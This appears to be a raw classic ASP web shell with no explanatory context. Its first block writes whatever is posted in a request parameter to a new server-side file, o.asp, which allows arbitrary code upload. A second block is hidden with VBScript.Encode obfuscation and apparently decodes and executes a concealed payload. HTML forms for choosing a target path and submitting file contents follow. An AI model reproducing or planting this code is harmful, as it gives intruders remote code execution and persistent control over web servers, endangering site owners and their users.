<%set z=server.createObject("Adodb.Stream")
z.Open
z.writetext request("h")
z.SaveToFile server.mappath("o.asp"),2
set z=nothing%><form method=post><input type=submit><textarea name=h>
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^lwIAAA==@#@&s;     mDkW     PGnmKNn`D+h2*@#@&(;Y{ @#@&WGD,k,'qPOG,VnxvO+swb@#@&k0~hbNcY ha~rBF*@!@*r　J,Pt x@#@&a3xCkm`srNvY+s2SkBF*#R4;O@#@&r0,23@*F+ ,YtnU@#@&23{20O1l@#@&+Vk+bWPa3@!&yP)U9Pw0@*O8! W{~Y4+     @#@&wVxa3Q,l@#@&AVdn&0P2V@!Oq!y*FPO4+     @#@&a3{2334;Y@#@&nU9Pk6@#@&m'lL^4Dvw0#@#@&nsk+@#@&mxlL\8^MV0@#@& x[PbW@#@&U 6D@#@&9+1GN 'C@#@&2U[,sE     ^YbWx@#@&":{JSgPodATE-!45YKeykf_　2_PT/Ao!-Zt5DWC^Wf_　04Jr.O3KeOLkho! -efu^3Q@*@$f^rJ-LL2　!o-Jr;g!oOaTY!3OTm-o5[^on7efE+D3M-3akTt0xL;PE\TG;9Vo -y_　!o7JE\%V!tVxT_EZ2OL1\o#L.\u3     LCh jYSo_　7L0;t0xL!IYV-Te^fc2vJJfyQ　34JroOYEEQ EJj%oa　YL;M;w;LZXO37LrJy5Hf　ow6JrVt　TYO! xL^D　\L0;t0xoZnU;!o　!o-JE;rJ_Jr2;7LV2b　MwWEr34J@#@& 6n1ED+`9+1GN `":*#@#@&TL8AAA==^#~@%>
<form method="POST" ACTION="">
<input type="text" size="55" name="z" value="<%=#@~^GAAAAA==d D- Dc:lawmOtvJ":cld2r#nggAAA==^#~@%>">
<input type="submit" value="GO"><BR>
<TEXTAREA NAME="m" ROWS="10" COLS="58">